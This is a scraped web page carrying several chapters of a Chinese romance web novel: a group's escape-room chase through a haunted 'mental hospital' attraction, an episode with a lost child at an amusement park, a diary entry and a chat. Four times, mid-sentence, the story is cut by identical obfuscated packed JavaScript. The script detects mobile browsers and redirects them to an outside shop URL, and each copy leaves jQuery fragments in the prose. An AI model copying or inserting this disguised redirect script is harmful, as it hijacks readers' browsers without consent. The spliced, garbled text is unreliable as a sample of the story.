凌乱的脚步声不断向他们靠近,“病人”们面目狰狞,嘴里还不清不楚地叫着各种话语,就这阵仗,若不是隐约能分辨出来他们在喊“放我出去”“留下来陪我”“你们也别想走”等话,于听眠都要以为他们选的主题不是精神病院而是丧尸危机。 真刺激。 “好了好了……不对这怎锁怎么打不开?密码是错的?!” 秦长宇好不容易把转盘都划到了正确数字却发现锁还是拧不开。 唐思雨要疯:“不是吧?!怎么在这里出意外了?他们要过来了!” “这个数字输错了,是2不是5。”谢惊洛相比起他俩淡定不少,他上前一步,倾身,伸手从于听眠身旁略过,手臂擦过她的肩膀,触感若有若无。 温热的气息骤然靠近,被轻轻触碰到的肩膀颤了颤,于听眠屏住了呼吸。 谢惊洛拎起密码锁,迅速滑动,将第一个数字“5”划回到“2”。 咔哒一声,锁开了。 谢惊洛刚把锁从门把上摘下来,秦长宇就迫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221640|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及待推开了门。 虽然他的动作之急用“撞”来形容可能更为合适。 他第一个进去,唐思雨紧随其后。 方才谢惊洛走上前开锁,身位比于听眠离门更近一些,她就等他先进去。 不料谢惊洛却侧过了身形,给她挪了个位置:“你先进去,我在你后面。” 于听眠一怔。 身后的“病人”还在不断接近,眼看着就要跟上他们,于听眠知道眼前的状况不是谦让的时候,回过神就立马冲进了门内,谢惊洛跟在她后面闪身进门,几乎是在“病人”贴脸的瞬间合上了门。 终于,他们安全了……并没有。 砰——砰——砰砰砰—— 门外的“病人”没逮到人便开始疯狂撞门,众人被吓了一跳,一时不备,门被撞开一条三指宽的缝隙,好在离门最近的谢惊洛眼疾手快瞬间将门按住才没被外面的人完全撞开。 秦长宇连忙上前帮忙一起用身子顶住,于听眠和唐思雨则打算把门锁上。 “锁……锁……卧槽这里面没装锁啊啊啊啊!!”轮到找了半天没能找到锁的唐思雨发出嚎叫。 没锁只能顶门了,于听眠和唐思雨放弃锁门的想法加入了顶门的队伍里。 “什么?!”秦长宇还是不可置信:“外面装密码锁里面没装锁?要不要那么偏心?这情况我们怎么跑……哎呦颤死我了……” “没关系。”谢惊洛面不改色:“这不是淘汰制游戏,不会将我们赶尽杀绝的。” 秦长宇不是很相信:“真的吗?我怎么就不信呢……但你别说,这门看着又旧又脆,其实还挺结实的,这么撞都没坏。” 这点三人是同意的:“确实。” 反正被架在这里了走不掉,他们干脆就照着这扇门和眼前的情况展开了话题聊天。 叮铃铃—— 就当他们的话题从“丧尸来了这扇门能抵挡多大力道的撞击”跨越到“等会儿出去要不要去问个购买地址未雨绸缪”时,门外终于传来了不一样的动静。 一阵清脆又诡异的铃响过后,撞门的力道明显变小,没多久就完全停歇下来。 “没事了?”唐思雨不确定地问道。 他们试探性地卸了力道,紧顶着门的身子慢慢挪开,门纹丝不动。 “这一环节应该是结束了。”谢惊洛总结道。 “妈呀……”唐思雨脱力挂在于听眠身上:“要不要搞得那么刺激啊?我只想单纯地逛个鬼屋而已。” 于听眠:“你就说这钱花得值不值吧。” “那确实值,体验感很到位。”这点唐思雨是肯定的,“所以我们现在又是什么情况?” 他们现在所在的空间光线没比门外的长廊好到哪里去,甚至更微弱一些,只能勉强看清脚下的一小片地,其余的全隐没在了黑暗中。 “这里可能是个房间。”谢惊洛抬手摸了摸身旁的墙壁,一路摸过去,碰到了个垂直的拐角,他推断道。 呼啦—— 谢惊洛话音刚落,离他们对角线的角落燃起了一根白蜡。 在飘忽不定的火苗后面,他们看见了一个笑容渗人的女人的脸。 她一直站在那里,无声无息,不知看了他们多久。 44. 出院 唐思雨一惊,揽着于听眠脖子的手没控制住力道,猛地收紧,于听眠防不胜防,没被吓死差点被她勒死。 为了保住自己的小命,于听眠将她的手扣了下来,唐思雨改搂她的手臂。 遵循敌不动我不动的原则,女人没有进一步的动作,他们也没动,就这么远远对峙着。 最后谢惊洛率先出声询问:“任务?” 女人机械般点头,抬脚缓慢向他们走来,这时他们才看见她身上的穿着——是一件胸前染了血迹的护士服。 看来是这所精神病院里的护士。 她走到他们面前停下,将手上的白蜡和一个文件夹板递到谢惊洛面前。 谢惊洛接过,将火焰靠近夹板照亮上面的东西,一旁的三人一起探头去看,四颗毛茸茸脑袋凑在一起。 夹板上夹着一张A4纸,上面记录着一个人的身份信息。 姓名:张三 性别:男 爱好:锯树 看到别具一格的爱好,唐思雨皱眉:“爱好是……锯树?哪来这么特别的爱好?” 于听眠手指抵在唇前作噤声状:“嘘,他的爱好一定有他的道理,我们先看完。” 唐思雨:“哦……” 他们继续往下看。 病情简述:患者时常将现实与幻觉混淆,难以辨认,容易做出具有危险性的行为,请医疗人员谨慎接触。 医生建议:患者经过阶段性治疗病情控制良好,准许出院。 A4纸右上角是张三的照片,照片风格走朦胧风,眼睛鼻子嘴巴都拍在正确位置,左脸用红色颜料画了三条横杠。 除此之外看不出其他信息了。 “准许出院……”于听眠轻声重复最后这四个字,福至心灵:“这是要我们把这个病人带出院的意思?” 护士点头,缓缓抬手指了一个方向。 四人顺着她的手指看去,谢惊洛举起手中的白蜡向前一照——又是一扇门,门上挂着门牌。 病房:444。 护士只负责给他们派发任务和指明方向,做完这些后,她脸上依旧保持着怪异笑容,一言不发地回到墙角,身形又一次融入黑暗中,等待下一批幸运儿的到来。 唐思雨忍不住好奇:“那个、护士姐姐,我想问一下你一直这样笑脸不累吗?” 哐啷—— 角落里沉默一瞬,紧接着响起了某样物品被踢翻在地发出的“哐啷”声,示意他们赶紧离开。 于听眠一把捂住她的嘴将她拖走:“别问了孩子,赶紧走吧。” 唐思雨:“唔——唔唔——” 推开444的门进去,里面的可见度比前两个好上一些,四边的墙壁严重脱皮,墙上装着一盏破旧的老式灯泡,复古昏黄的光线散发着不合时宜的暖意。 正方形的房间被分隔成了四个区域,用帘子拉紧隔开,看不见里面。 “有四个?那我们一人找一个?”秦长宇提议。 于听眠:“可以啊。” 唐思雨:“没问题。” 谢惊洛:“那我看这个吧。” 于听眠走向左上角的帘子,出于礼貌她隔着帘子问了声:“我可以进来吗?” 里面没说话。 不说话就是默认了。 于听眠有点礼貌但不多,等不到回应她直接拉开了帘子。 病床上躺着一条裹着被子暂时不确定是不是人的物体。她试探着伸手指戳了戳外层软绵绵的被子。 没有动静。 “我掀你被子咯?” 她朝条状物上端的被子伸手—— 当—— “哎?!” 条状物体乍然弹射坐起,于听眠又凑得近,毫无防备被惊了一跳,身体条件反射性后仰,动作间手臂撞到了一边的杂物,发出的声响在狭小的空间里尤为响亮。 于听眠看清了刚才从床上弹坐起来的是什么东西——一个人体模型,穿着病服,发型也和照片上张三的发型相似,只是脸上只有一条红杠。 “怎么了?”负责隔壁的谢惊洛率先掀开帘子跨步进来。 唐思雨也闻声而来:“出什么事了?有什么情况?” “没事。”于听眠摇头解释:“刚才他忽然弹起来,没防备被吓了一下,没什么事……你们那边有什么线索吗?我这个应该不是张三,他脸上只有一条红杠。” 谢惊洛简单说明自己那边的情况:“我那边也是人体模型,同样只有一条红杠。” “我的也是哎。”对完现有的信息,唐思雨转头喊唯一一个没来集合的:“秦长宇——你那边也是人体模型吗?” 秦长宇在帘子里头回她:“不是,我这个有点特殊。” 谢惊洛:“怎么特殊法?” 秦长宇:“你们过来看。” 三人对视一眼,向秦长宇负责的区域走去。 拉开帘子,只见秦长宇站在床边托着下巴,一脸严肃地盯着床上的……电锯? 啊? 唐思雨没看懂:“你这是什么情况?” 秦长宇:“不知道啊,一拉开被子就是一把电锯了,怎么就你们那边是三个人体模型?还一个都对不上张三。” 唐思雨:“我也不知道啊,总不能线索是假的吧?” 于听眠看着眼前的状况,脑子里一些有病的想法开始“突突”往外冒。 她不仅想,她还说出来了:“张三的爱好是锯树,现在电锯有一把,模型有三个,他的名字又刚好叫张三,怎么会有那么巧的事?” 一说完,三人一同看向她,空气有一瞬间的静默。 …… 于听眠:“不好意思我……” “对哦!” “又在胡说八道”这几个字还未来得及说出来,就见唐思雨右手握拳砸向左手掌心,双眸睁大,仿佛在刹那间大彻大悟:“刚好那三个模型一人一条杠,加起来不就三条杠了?而且他的名字还叫张三……我悟了!” 于听眠:“……?” 不是,你认真的? 认真的好像还不止她一个,秦长宇也开始摩拳擦掌迫不及待:“那就是要把这三个模型全搬出去?行,洛哥快来搭把手,我们一起把他们搬出去!” “……” 谢惊洛发出一声微不可察的叹息,抬手捏了捏眉心,声音冷漠:“我拒绝。” 秦长宇:“为什么?!” 谢惊洛:“没有为什么。” “别想用这句话打发我。”秦长宇不依不饶:“你今天不说为什么你就卧槽什么东西抓我脚——” 秦长宇话说到一半被什么东西偷袭了,脚踝一凉,酥麻感从脚底传到头皮,差点在原地跳起了踢踏舞。 于听眠眼尖,瞧见床底有一只手飞快缩了回去,她迅速指向:“有人!在床底!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230761|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 秦长宇第一个蹲下,不等他扬起垂落在地的床单,藏在床底下的人就自己爬出来露出了真面貌。 脸上三条杠。 “你才是张三?”唐思雨等他爬出来,看着他脸上的三条杠,喃喃自语:“原来不是加法式的啊。” 张三:“……” “你是要和我们一起出院的对吗?”谢惊洛询问道。 张三和发布任务的护士姐姐是一脉相承的沉默是金,不说话,只面无表情点头。 “那么,出口在哪里呢?” 谢惊洛问出了最关键的一个问题。 这个房间是封闭式的,除了入口再无其他通道,刚进来时谢惊洛就绕着房间摸索了一圈,并未在墙上发现有隐藏的出口。 这个问题一问出,张三连头也不点了,板着一张脸盯着他。 “不说吗?”没等到回答,谢惊洛也没太在意,他轻笑了声:“没关系,大概也知道了。” 他绕过张三,伸手扶着病床边缘,用力一推。 病床是滑轮式的,稍加点力就能推开,随着病床缓缓向一边挪动,藏在地下的暗门呈现在众人面前。 谢惊洛拉开门,下面是一段阶梯。 他站起身,拿起进门时随手搁在桌上的文件夹板和尚未燃尽的白蜡:“走吧,我们该出院了。” “呜呼——要通关了!”唐思雨搂着于听眠欢呼雀跃:“虽然没有我想的追逐战,开密码锁那个不算,但整体来说还是可以……等等张三兄弟你在干什么?” 唐思雨徒然提高的声音吸引了三人的视线,四道目光一道落在了张三身上。 张三对唐思雨的疑问置若罔闻,自顾自地拿起了病床上的电锯。 “你……要把这个带走?”唐思雨不确定地问。 张三点头的速度比之前快了不少。 于听眠:“爱好?” 张三继续点头。 四人对视,眼神传递同一种想法——他们还是不能理解他的爱好。 虽然不理解,但他们都知道强人所难是件缺德的事,不能因为人家的爱好小众了点就剥夺人家的乐趣,加上电锯也是张三他自己拿着,左右也是他自己折腾,如此下来也就让他带上一起出院了。 从阶梯下去,前方又是一段完全漆黑的路,他们的队形依旧按照秦长宇打头阵、谢惊洛断后、两个女生夹在中间的顺序排列摸索着前进。 不过这次多了个张三,不算进队伍里,提着电锯默不作声跟在最后边。 借着白蜡的光照路风平浪静地走了一段后,他们来到一个拐角。拐角处摆了一张桌子,桌子后面坐了个人,白大褂前挂着“院长”的名牌。 除此之外,他们还看见了前方几十米处亮着光的出口。 “东西都放在这里给我看看。”院长看着谢惊洛手里的东西道。 谢惊洛将文件夹板和剩余的白蜡都交出去。 院长接过夹板翻看上面记录的信息,边看边朝出口抬了抬下巴:“你们可以出院了。” 看来是结束了。 不用担心有鬼突脸,四人的心情都松懈了不少。 于听眠和唐思雨并肩走了两步,刚要讨论一下游玩感受,但嘴唇嗡动还没出声,就听见身后传来一阵奇怪的声音。 嗡——嗡嗡—— 好像是……电锯转动的声音? 于听眠心里“咯噔”一声。 45. 冰激凌 “快跑——” 秦长宇的呐喊声犹如跑道上的发令枪,“砰”的一下,脑子还没跟上身体就先一步窜了出去,人在前面飞,魂在后面追。 “桀桀桀桀桀哈哈哈哈哈哈——” 张三提着电锯追在他们身后,嘴里不断发出奇奇怪怪的笑声。 “这、到底是……”于听眠跑得上气不接下气,不同于一般的短跑,有人在后面追着腿总是莫名发软,总觉得下一步就会栽倒在地,但饶是如此她还是要发出巨大的疑问:“这到底是怎么准许出院的?!” “不、不知道啊!”跑她身边的唐思雨附和道:“这肯定、是家、黑心医院,这种情况、跟我们说、控制良好?!” 于听眠:“举报了举报了。” 秦长宇:“院长呢?来救一下啊?!” 谢惊洛:“院长倒下了。” 秦长宇:“你怎么知道的?” 谢惊洛:“我看着他被锯的。” 秦长宇:“你还有时间看他?” 谢惊洛:“是你们跑得比兔子还快。” 唐思雨:“院长都锯?真不要脸!” 于听眠:“就是就是!” 唐思雨:“出去多举报两次。” 于听眠:“没问题的。” 出口不远,于听眠用跑五十米的速度没多久就冲了出去。 好不容易重见天日,于听眠停下脚步,靠着墙壁迷茫地回魂。 张三停在了通道里,举着电锯朝他们比划了两下,对他们露出个阴森的笑容,然后把电锯抗在肩上转头往回走去祸害下一批游客。 隔壁还有一条通道,看样子是酒店线的,目前还没有动静,不知道和他们同一批的游客是通关了还是在继续闯关。 “请游客们离开时检查好自己的随身物品是否有遗漏……” “你们的东西都拿完了吗?”唐思雨翻找到了自己寄存的包,顺口提醒了他们一句。 三人没一个人动。 见状她才想起来——四个人里面就她一个背了包,他们三个只带了台手机就出门了,现在四台手机全塞在她包里。 唐思雨:“……” 真是一群祖宗。 她没好气地把四台手机掏出来逐个分发:“全塞我这是吧?万一我包丢了我们一死吧。” “嘻嘻,别呀~”于听眠接过手机,嬉皮笑脸凑她脸上去:“亲爱的你可一定要看好你的包,没你我们可怎么办啊?要真丢了我会每晚趴你床头哭的……” 唐思雨:“滚蛋。” 于听眠:“好嘞。” 一番打闹过后,他们马不停蹄赶往下一个游乐设施,接连玩过跳楼机和过山车,等来到海盗船时于听眠拒绝说不上去了,要在下面等他们。 “为什么?不喜欢玩这个吗?”唐思雨不解,她最喜欢海盗船这种反反复复上上下下的刺激感,还想多玩几次,没想到于听眠却不打算玩。 “也不是不喜欢,不知道是不是和我晕车的体质有关,像海盗船大摆锤这种玩一次就能晕很久。” 她能接受鬼屋这种阴森刺激的,也能接受跳楼机过山车这种飞来飞去的,唯独接受不了海盗船大摆锤这种晃来晃去的。 遥想起当年她第一次玩海盗船,没晃几下就开始晕,晃到后面更是晕得找不着北,硬是凭毅力忍住了没吐出来,下了船过了很久才缓过神来。 现在想起于听眠依旧心有余悸,从此把海盗船和大摆锤这类项目拉进了黑名单。 “这样啊,确实不能玩。”唐思雨有点可惜不能和她一起玩。 “没事的。”于听眠笑笑,“你们玩就行了,刚好玩了这么久也有点累了,我去长椅上坐着等你们。” 于听眠找了张离海盗船最近的长椅坐下,她放松地靠着椅背,身边人的欢声笑语喧闹不歇,不远处的冰激凌小车喇叭嘀嗒,吵闹又安宁。 想着他们应该也没那么快结束,她打开手机看看有什么需要回复的消息。 等于听眠从手机里抬起头时发现面前站了个四五岁的小女孩,穿着花裙子,扎着双马尾,正睁着双水汪汪的大眼睛看着她。 于听眠:“?” 一大一小面面相觑。 于听眠注意到小女孩的身边似乎没有大人在,想了想,她开口问小朋友:“小妹妹,你在干什么呀?” 小女孩的视线一直落在于听眠握着手机的手上,她伸手指着于听眠的手机:“小兔子好看,喜欢!” 于听眠的手机壳是一群粉色的兔子。 “哦~喜欢小兔子啊。”于听眠知道她为什么会盯着自己看了。 她从椅子上起身,来到小女孩面前蹲下平视对方,笑意盈盈问她:“小妹妹你怎么一个人在这里?是谁带你来的呀?” 小女孩:“是我妈妈带我来的。” 于听眠:“你长得好可爱啊,你叫什么名字呢?” 小女孩:“我叫丽丽。” 于听眠循循善诱:“那你的妈妈怎么不在你身边?她去了哪里呢?” 小女孩的警惕性不太强,看于听眠长得好看又笑得和善,直接认定她是个好人,对她的问题也是有问必答:“我妈妈去上厕所了,让我坐在这里等她回来,但妈妈好久也没有回来,我一个人好害怕。” “你妈妈去了多久了呀?” “我数一数……半个小时了。” 于听眠又问:“那除了妈妈还有其他人陪你一起来吗?” 小女孩摇头:“没有了。” 于听眠犯了难。 虽然她并没有义务要照看这个女孩,但又实在不放心放她这么小的一个孩子在这鱼龙混杂的人群里,如果说她没看见不知道还好,但偏偏知道了就做不到坐视不理。 “这个小朋友是?” 谢惊洛从海盗船的出口出来,看见于听眠的身影往她那边走,走近了见她正半蹲着专心同一个小女孩说话,连他已经站在她的身旁了都毫无察觉,便轻声问了句。 “嗯??!”于听眠完全没注意到谢惊洛什么时候来的,她连忙起身:“谢惊洛?你怎么过来了……他们两个呢?” “他们还想再玩几次,去重新排队,我就先过来了。”谢惊洛不疾不徐说着,看了眼小女孩,又重新问道:“她……” “哦,她啊,我刚刚在这里坐着,她自己跑过来的,我问她妈妈去哪里了,她说她妈妈去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238406|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厕所挺久没回来,让她在这里坐着等,我有点不放心放她一个人在这,就想着要不要先陪着她,等她妈妈回来再说……”于听眠简略地阐述了来龙去脉。 说完于听眠又怕谢惊洛以为她要拉着他一起等,毕竟这是她自己主张要陪小女孩的,没有权利要求他人也一起,于是又补了一句:“你们先去玩吧,我等她妈妈来接她了再去找你们汇合。” “没关系。”谢惊洛却笑了笑,“不差这点时间,一起等吧。” 他俯身,语气温柔地朝小女孩说:“要不要去椅子上坐着一起等你妈妈?一直站着会累的。” 小女孩觉得这个哥哥也很好看,她也喜欢,认为他也是个好人,对他说的话也是毫不犹豫地点头答应了,一蹦一跳就走到于听眠刚才坐的长椅前爬上去,顺理成章地霸占了中间的位置。 于听眠:“……” 她和谢惊洛一左一右地坐在小女孩两边,幸好椅子够长,坐了三个人也不会显得拥挤。 小孩子生性好奇,对一切新鲜事物有着强烈的探索欲,这不,刚好奇完于听眠手机壳上的粉色兔子,现在又对谢惊洛衣服上的英文字母起了兴趣。 “哥哥,这个是什么啊?”她指着谢惊洛衣服上的一个单词问。 谢惊洛给她解释,告诉她读法,她试着跟读,但老是读不准,他就耐心地一遍一遍帮忙纠正,给予小朋友鼓励。 千辛万苦终于读对了,谢惊洛轻轻鼓掌,笑着夸她:“非常厉害,读得比哥哥还准。” 小朋友被夸得心花怒放,“咯咯”地笑,潜意识认为被夸了就是做得好,做得好就能要奖励,于是她问:“那我可以要奖励吗?” 谢惊洛来了兴趣:“你想要什么奖励呢?” 小女孩指向她眼馋了很久的冰激凌小车:“我想吃冰激凌!” “可以啊。”谢惊洛欣然同意:“那哥哥去帮你买。” 他站起身,朝于听眠眨了一下眼睛,眉眼弯了弯:“先拜托你单独照看一下了,我很快回来。” 于听眠被他笑得措手不及,明明从认识他到现在都过了那么久了,她还是没能适应他的笑颜,比烈阳还要明媚几分,每次看到都觉得脸上发烫。 “呃……好、好的!”她故作镇定点头,心里默念只要她够面瘫就没人能看出来她在想些什么。 于听眠看着谢惊洛的背影在冰激凌小车前停留了几分钟,然后转身,手中拿着两个一大一小的冰激凌回来。 冰激凌的味道怎么样先不说,但它的造型倒是设计得十分可爱,稍微小一点的那只洒满了星星形状的糖果,顶端还插了两片圆圆的夹心饼干,大的那只洒的是饼干碎,顶端点缀了一个兔子形状的棉花糖,旁边插了两根巧克力棒。 “哇——谢谢哥哥!” 她看着谢惊洛将小的那只冰激凌递给小朋友,小家伙欢天喜地接过迫不及待地舔了一口,看她满足的表情味道应该是不错的。 好像挺好吃的?要不她也去买一只? 尚未等于听眠考虑完,她的眼前一晃多出了件物体。 谢惊洛将另一只大的冰激凌送到了她面前。 “……” 于听眠懵了。 46. 你也会生气吗 “给我的吗?”她不确定地问。 “嗯,给你的,他们家只卖一个口味,不知道你喜欢什么形状的就买了和你手机壳一样的兔子形状给你。”见她没接,谢惊洛又道:“不要吗?再不吃的话要化咯?” “要!” 于听眠骤然提高的音量令两人都愣了一下,反应过来后她连忙找补:“那什么,我是说……谢谢你!” 冰激凌是清新的香草味,口感松软,入口瞬间口腔充斥着一股浓郁的奶香,与香草的芬芳交织相融,甜而不腻,细腻满足。 于听眠吃过的香草冰激凌不少,手上的这只算是中规中矩,说不上惊艳,她却舍不得一口气吃完。 心情像是盲盒开中了自己最想要的奖品,不是最好的,却是最喜欢的,瞬间的满足感足以让她开心好久。 谢惊洛继续和丽丽说话,她捧着冰激凌小口小口吃着,小幅度来回晃荡的双脚彰显着她愉悦的心情。 “丽丽——丽丽——” 于听眠解决完最后一口脆壳,去垃圾桶丢垃圾时隐约听见了一道呼喊声,掺杂在各种各样的声音里似有似无,她又竖起耳朵仔细听了听。 “丽丽——你在哪里——” 这下听清楚了,确实有人在喊丽丽的名字。 于听眠视线穿梭在人山人海里迅速寻找,不久就注意到了一个身穿长裙,在人群里四处着急呼喊的女人。 应该就是她了。 她快步往回走,分了一丝注意在女人身上,以免回去一趟人就淹没在人群里找不着了。 她能听见呼喊,谢惊洛自然也能听见。于听眠回到长椅时谢惊洛已经带着丽丽起身了。 于听眠指向东南方向:“我看见了,丽丽妈妈在那边。” “嗯,我们现在过去吧。” 身着长裙的女人在人群里着急地呼喊寻找,不断地拉着路人询问有没有看见个扎着双马尾的小孩子,得不到想要的答案,她心里头的担忧和焦躁更上一层楼,同时还伴随着一股无名的怒火。 “丽丽——” “妈妈——” 听到身后传来熟悉的声音女人一愣,霎时回头,看见自己的女儿正小跑着向她而来,身边还跟着两个陌生的一男一女。 “丽丽!”女人猛地扑过去抓着孩子,将她上上下下都查看了个遍,确定她没事后终于放下心来。 担忧消失后,被其压抑着的怒火就涌了上来。 她一把将丽丽翻了个身,巴掌重重地落在了她的屁股上:“你这孩子怎么这么不听话?!我让你好好坐着等我你怎么到处乱跑?你知不知道妈妈有多担心你?!我差点以为你被人拐跑了!” “呜啊——” 丽丽被女人毫无预兆的变脸吓懵了,完全不知道自己为什么会挨打,也听不进女人的话,只觉得自己挨打了受了委屈,扯开嗓子就开始哭。 “哭哭哭!你还知道哭!”女人听着孩子的哭声更是心烦意乱,落在她屁股上的巴掌又重了几分。 “这是在做什么?”丽丽哭得厉害,眼神不断看向于听眠向她求助,于听眠看不下去了,出声阻止:“有话不能好好说吗?你这样打她她当然哭了。” 女人这才注意到于听眠谢惊洛两人。 被外人打断教训孩子她明显变得不耐烦,但顾及着还在外头,有路人被动静吸引驻足,她不想太引人注目还是放开了孩子,勉强缓和了表情问道:“你们是什么人?我家孩子不听话乱跑我担心教训她关你们什么事?” “恕我直言。”于听眠掏出纸巾给不断抽泣的丽丽擦拭眼泪,“能把孩子一个人丢在鱼龙混杂的人群里这么久,你这担心属实没必要。” 被一个乳臭未干的小丫头呛了,女人脸色难看:“你什么意思?” 于听眠蹙眉,正要继续说,肩膀被谢惊洛轻轻拍了下。 他在她耳旁低语:“没关系,别生气。” 于听眠即将脱口而出的话卡在了喉咙里。 说罢,谢惊洛目光落在女人身上,脸上带着波澜不惊的笑容:“你好女士,请你先别激动,或许我们之间有些误会需要处理。” 他的话语从容不迫,口吻带着安抚性,让人面对他时也下意识放松了紧绷的状态。 女人依旧板着一张脸,但语气却是放缓了不少:“什么误会?” “其实丽丽一直都很听话,完全没有乱跑,只是我们看她独自待着不太安全,毕竟这里人来人往,不一定都是好人,我们怕她一个小孩子遭遇危险无法应付,就让她和我们一起坐着等你回来了。” 说着,谢惊洛摸了摸丽丽的脑袋,轻声问她:“对吗丽丽?你是不是一直都在乖乖等妈妈回来?” 小姑娘吸了吸哭红的鼻子,用力点头,受了委屈声音闷闷的:“……嗯!” 谢惊洛继续笑道:“你看,你的孩子其实很听你话的。” “……这样啊。”听完谢惊洛的话,女人又看看了委屈难过的女儿,觉得自己刚才是有点不分青红皂白了。 “对不起丽丽,刚才是妈妈错怪你了。”她朝丽丽招了招手:“来妈妈这。” 丽丽走了过去,女人牵住她的手。 谢惊洛又道:“听丽丽说,你是去上厕所了,也许下次你可以把丽丽一起带上,她在你的身边方便照看,出了什么状况也能够及时处理,同时她知道妈妈在做什么也会安心不少的。” “我知道了,今天……谢谢你们,刚刚我情绪有点激动态度不好,不好意思,丽丽我们走吧。” 女人牵着丽丽要离开,小朋友脸上的泪痕还未擦干净,却也没忘了挥手和两人告别:“哥哥姐姐拜拜。” 谢惊洛也向她挥手:“拜拜。” 于听眠顿了一秒才回应她:“……拜拜。” 两人坐回到长椅,注意到于听眠的声音有些不对,谢惊洛笑问她:“怎么了?你的表情有些复杂,是还在生气吗?” “……没有生气。” 于听眠摇了摇头。 她只是有些懊恼,她逞了一时的口舌之快,却忘了丽丽始终是女人的孩子,迟早也是要跟对方离开的,她就算气上头说赢了对方又怎么样呢?对丽丽也没有什么好处,反而更容易让女人把气撒在她女儿身上。 是她欠缺考虑了,好在谢惊洛阻止了她。 “不好意思……我刚才气上头有点冲动了,没考虑周全。” “怎么会?”谢惊洛笑笑,觉得她懊恼的模样挺有意思,“人有时候会生气冲动很正常,何况你本来也是出于好意,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253088|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用觉得不好意思。”短暂的冲突结束,驻足围观的人群散去,身边再次恢复了喧嚣,在机械运转的轰鸣声里,谢惊洛尾调上扬的声音格外清晰。 “那……你也会生气吗?”于听眠忽然问他。 “当然会的。”谢惊洛坦然。 “哦……” 像谢惊洛这样一个温柔从容、处变不惊、面对所有事物都能冷静处理游刃有余的人生气起来会是什么样子的? 于听眠有点想象不到。 谢惊洛的手机来了信息,他拿出手机低头查看。 于听眠偷看他专注回复信息的侧颜,时而会觉得他身边布满了一种神秘的磁场,每每靠近时总会觉得所有的事物都被蒙上了一层暖色滤镜。 好似现在,连卷着焦躁热气的风都变得温柔了。 2014年5月24日 天气:晴 今天在游乐场里遇到个等妈妈的小女孩,我和谢惊洛陪着她等妈妈,结果她妈妈回来的第一件事就是打了她。 虽然这么说好像显得有点多管闲事,但说实话那时候是有点生气的,因为我不理解为什么她能安心放一个四五岁的小朋友独自在人来人往的地方待着。她那么小一个,但凡遇见了别有用心的人,伸手一抱就抱走了,但她妈妈回来第一件事就是责怪她乱跑。 那时候真的很想说把她一个人留在这,她乱不乱跑也没什么区别了,更何况她还是比较乖的,始终没有走出长椅这片区域。 后来听谢惊洛和她妈妈对话,我在一旁慢慢冷静下来,发现自己刚才有些冲动了,好在谢惊洛阻止了我继续说下去。 哎,真羡慕谢惊洛这种面对什么事都平心静气的情绪,谈笑间就把问题解决了,他真的会有生气的时候吗? 唔……想象不出来他生气的样子。 总的来说今天的游乐场之旅还算愉快,海盗船和大摆锤不敢玩不评价,不过看思雨他们玩得挺开心的,跳楼机和过山车很刺激,但我个人最喜欢的还是鬼屋,体验感很到位,和我原先预想的全程道具吓人有很大的不同,如果下次还有机会一起去玩的话我还挺想体验一下隔壁酒店线的。 好了,今天的日记就先写到这里吧,后天又要连续上三个星期的课了,所以我明天一定要睡个懒觉,除了天塌别想让我起床! 叮咚—— 手机响了,于听眠拿起手机。 [苏苏:鱼宝,还有一个多月就要放暑假了,你今年回南城吗?] [小鲤鱼:回啊,当然要回去看看。] [小鲤鱼:不过暑假之后升高三,但按照往年的传统,我们学校会提早一个月开学,八月份就要回去报道了,所以应该也待不了多久。] [苏苏:ε=(′ο`*)))唉,别说了我们也是,难道高三提前开学是统一的?] [苏苏:想想就烦(满床打滚)(不情不愿)] 隔着屏幕于听眠都能想象到她拧巴着一张脸的表情,不禁“噗嗤”一笑。 [小鲤鱼:没事,熬过明年就好了。] [苏苏:也行吧,那等你暑假回来。] [小鲤鱼:okok。] 聊天结束,于听眠放下手机,安详闭眼。 但愿今晚是个美梦。 47. 暑假 